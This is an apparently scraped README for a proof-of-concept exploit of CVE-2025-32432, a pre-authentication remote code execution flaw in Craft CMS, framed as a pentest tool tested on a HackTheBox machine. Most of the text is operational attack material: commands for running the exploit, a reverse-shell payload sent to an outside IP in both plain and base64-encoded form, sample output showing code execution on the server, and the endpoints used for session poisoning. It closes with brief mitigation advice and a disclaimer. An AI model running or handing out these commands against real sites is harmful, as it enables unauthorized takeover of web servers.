Exploit for Code Injection in Craftcms Craft_Cms CVE-2025-32432

## https://sploitus.com/exploit?id=D24236F7-331C-5472-8852-CB4854D642E5
# CVE-2025-32432 Craft CMS Pre-Auth RCE PoC

**Critical Pre-Authentication Remote Code Execution in Craft CMS**

Affected: Craft CMS 3.x, 4.x, and 5.x (up to 5.6.16)

**Info:** This exploit is tested against HackTheBox Orion machine

## Overview

This repository contains a proof-of-concept exploit for **CVE-2025-32432**, a critical pre-authentication remote code execution vulnerability in Craft CMS. The vulnerability allows an unauthenticated attacker to execute arbitrary PHP code on the server by exploiting Yii2's behavior attachment mechanism and PHP object instantiation via the `__class` override technique.

### CVSS Score: 10.0 (Critical)

## Features

- **Pre-auth exploitation** — No login credentials required
- **Universal compatibility** — Works across Craft CMS 3.x, 4.x, and 5.x
- **Auto asset ID discovery** — Brute-forces valid asset IDs automatically
- **CSRF token extraction** — Automatically handles Craft CMS CSRF protection
- **Session path fallback** — Auto-retries alternative PHP session paths if the first fails

## Requirements

```bash
pip install requests urllib3
```

## Quick Start

### Basic Command Execution

```bash
python3 exploit.py -u http://target.com -c "id"
```

### Reverse Shell

```bash
# Start listener on your machine
penelope -p 4444

# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64


# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"

```

### Skip Asset ID Brute-Force (if known)

```bash
python3 exploit.py -u http://target.com -c "whoami" -a 11
```

### Use Alternative Session Path

```bash
python3 exploit.py -u http://target.com -c "id" \
  -s "/tmp/sess_{}"
```

## Usage

```
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
                                [-s SESSION_PATH] [-q]

CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (e.g., http://target.com)
  -c, --command COMMAND
                        Command to execute
  -a, --asset-id ASSET_ID
                        Known valid asset ID (skip brute-force)
  -m, --max-asset MAX_ASSET
                        Max asset ID to brute-force (default: 300)
  -s, --session-path SESSION_PATH
                        Session file path template (default: /var/lib/php/sessions/sess_{})
  -q, --quiet           Suppress verbose output
```

## Example Output

```bash
$ python3 exploit.py -u http://orion.htb -c "id"

╔══════════════════════════════════════════════════════════════╗
║  CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2              ║
║  Target: http://orion.htb                                  ║
║  Command: id                                                  ║
╚══════════════════════════════════════════════════════════════╝

[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
```

## Exploit Stages

| Stage | Action | Endpoint | Auth |
|-------|--------|----------|------|
| 1 | Extract session cookie + CSRF token | `GET /admin/login` | No |
| 2 | Inject PHP payload into session file | `GET /index.php?p=admin/dashboard&a=` | No |
| 3 | Brute-force valid asset ID | `POST /index.php?p=admin/actions/assets/generate-transform` | No |
| 4 | Trigger RCE via `PhpManager` gadget | `POST /index.php?p=admin/actions/assets/generate-transform&cmd=` | No |

## Affected Versions

| Branch | Affected | Fixed |
|--------|----------|-------|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – **5.6.16** | 5.6.17+ |

## Mitigation

1. **Upgrade immediately** to the latest patched version
2. **Monitor logs** for:
   - Multiple POST requests to `/admin/actions/assets/generate-transform`
   - GET requests to admin pages with `a=` parameter containing PHP code
   - Presence of `as` fields in POST request bodies
3. **Enable WAF rules** to block suspicious patterns

## Credits

- **Original discovery**: Orange Cyberdefense / SensePost
- **Blog post**: [Investigating an in-the-wild campaign using RCE in CraftCMS](https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/)
- **PoC author**: Based on SensePost's research, adapted for HTB/penetration testing

## Disclaimer

This tool is for **authorized security testing and research purposes only**. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.

## License

MIT License - See LICENSE file for details.